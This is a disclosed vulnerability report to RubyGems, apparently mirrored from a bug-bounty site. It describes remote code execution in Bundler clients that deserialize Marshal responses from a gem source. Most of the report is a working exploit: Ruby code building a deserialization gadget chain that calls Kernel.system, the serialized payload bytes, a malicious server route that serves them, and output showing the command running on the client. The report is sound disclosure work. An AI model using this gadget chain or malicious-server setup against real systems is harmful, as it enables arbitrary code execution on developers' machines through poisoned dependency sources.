Loading HuntDB...

Bundler's RCE with response using Marshal

R
RubyGems
Submitted None
Reported by ooooooo_q

Vulnerability Details

Technical details and impact analysis

Deserialization of Untrusted Data
In `GET /api/v1/dependencies`, which Bundler uses to check dependencies, the response is `Marshal.dump` instead of `JSON`. https://github.com/rubygems/rubygems.org/blob/a6f78a01598592083850f15e262bbc09a85b0a70/app/controllers/api/v1/dependencies_controller.rb#L12 ```ruby respond_to do |format| format.json { render json: deps } format.marshal { render plain: Marshal.dump(deps) } end ``` According to the [Universal Deserialisation Gadget for Ruby 2.x-3.x](https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html) article, Marshal.load can be RCE. Therefore, RCE is possible for the client that receives the specially crafted response. ### Poc #### Prepare attack code Prepare code to run `date` ```ruby # Universal Deserialisation Gadget for Ruby 2.x-3.x # https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html # Autoload the required classes Gem::SpecFetcher Gem::Installer # prevent the payload from running when we Marshal.dump it module Gem class Requirement def marshal_dump [@requirements] end end end wa1 = Net::WriteAdapter.new(Kernel, :system) rs = Gem::RequestSet.allocate rs.instance_variable_set('@sets', wa1) rs.instance_variable_set('@git_set', "date") # for run `date` wa2 = Net::WriteAdapter.new(rs, :resolve) i = Gem::Package::TarReader::Entry.allocate i.instance_variable_set('@read', 0) i.instance_variable_set('@header', "aaa") n = Net::BufferedIO.allocate n.instance_variable_set('@io', i) n.instance_variable_set('@debug_output', wa2) t = Gem::Package::TarReader.allocate t.instance_variable_set('@io', n) r = Gem::Requirement.allocate r.instance_variable_set('@requirements', t) payload = Marshal.dump([Gem::SpecFetcher, Gem::Installer, r]) puts payload.inspect ``` ``` ❯ ruby create_rce.rb "\x04\b[\bc\x15Gem::SpecFetcherc\x13Gem::InstallerU:\x15Gem::Requirement[\x06o:\x1CGem::Package::TarReader\x06:\b@ioo:\x14Net::BufferedIO\a;\ao:#Gem::Package::TarReader::Entry\a:\n@readi\x00:\f@headerI\"\baaa\x06:\x06ET:\x12@debug_outputo:\x16Net::WriteAdapter\a:\f@socketo:\x14Gem::RequestSet\a:\n@setso;\x0E\a;\x0Fm\vKernel:\x0F@method_id:\vsystem:\r@git_setI\"\tdate\x06;\fT;\x12:\fresolve" ``` #### Prepare evil server Prepare a server to work on the response. I created it based on [geminabox](https://github.com/geminabox/geminabox). ```ruby # geminabox/geminabox/lib/geminabox/server.rb get '/api/v1/dependencies' do attack = "\x04\b[\bc\x15Gem::SpecFetcherc\x13Gem::InstallerU:\x15Gem::Requirement[\x06o:\x1CGem::Package::TarReader\x06:\b@ioo:\x14Net::BufferedIO\a;\ao:#Gem::Package::TarReader::Entry\a:\n@readi\x00:\f@headerI\"\baaa\x06:\x06ET:\x12@debug_outputo:\x16Net::WriteAdapter\a:\f@socketo:\x14Gem::RequestSet\a:\n@setso;\x0E\a;\x0Fm\vKernel:\x0F@method_id:\vsystem:\r@git_setI\"\tdate\x06;\fT;\x12:\fresolve" query_gems.any? ? attack : 200 end ``` ``` ❯ RUBYGEMS_PROXY=true rackup Puma starting in single mode... * Puma version: 5.2.2 (ruby 2.7.1-p83) ("Fettisdagsbulle") * Min threads: 0 * Max threads: 5 * Environment: development * PID: 22469 * Listening on http://127.0.0.1:9292 * Listening on http://[::1]:9292 ``` ### Use evil sever ``` ❯ bundle -v Bundler version 2.2.13 ❯ bundle init # Use evil server for source ❯ cat Gemfile # frozen_string_literal: true # source "https://rubygems.org" source "http://127.0.0.1:9292" gem "json" ``` ``` # `date` runs on the client ❯ bundle install Fetching gem metadata from http://127.0.0.1:9292/.sh: reading: command not found 2021年 3月 7日 日曜日 15時44分43秒 JST Retrying dependency api due to error (2/4): Bundler::MarshalError TypeError: no implicit conversion of nil into String sh: reading: command not found 2021年 3月 7日 日曜日 15時44分43秒 JST Retrying dependency api due to error (3/4): Bundler::MarshalError TypeError: no implicit conversion of nil into String sh: reading: command not found 2021年 3月 7日 日曜日 15時44分44秒 JST Retrying dependency api due to error (4/4): Bundler::MarshalError TypeError: no implicit conversion of nil into String sh: reading: command not found 2021年 3月 7日 日曜日 15時44分44秒 JST ``` ## Impact Of course, there is a danger in specifying an untrusted `source` and in the possibility of a man-in-the-middle attack. This endpoint using marshal increases that risk.

Report Details

Additional information and metadata

State

Closed

Substate

Resolved

Submitted

Weakness

Deserialization of Untrusted Data